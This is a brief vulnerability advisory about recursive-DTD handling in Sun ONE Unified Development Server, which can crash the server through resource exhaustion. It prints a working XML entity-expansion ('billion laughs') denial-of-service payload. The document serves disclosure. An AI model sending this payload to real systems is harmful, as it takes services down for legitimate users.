source: https://www.securityfocus.com/bid/6626/info

It has been reported that problems with the handling of recursive document type definitions (DTDs) occur in Sun ONE Unified Development Server (UDS). When a document is uploaded containing these types of constructs, the system experiences high resource consumption that can result in crash of the system, and denial of service to legitimate users.

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foobar [
<!ENTITY x0 "hello">
<!ENTITY x1 "&x0;&x0;">
<!ENTITY x2 "&x1;&x1;">
<!ENTITY x3 "&x2;&x2;">
<!ENTITY x4 "&x3;&x3;">
...
<!ENTITY x98 "&x97;&x97;">
<!ENTITY x99 "&x98;&x98;">
<!ENTITY x100 "&x99;&x99;">
]>
<foobar>&x100;</foobar>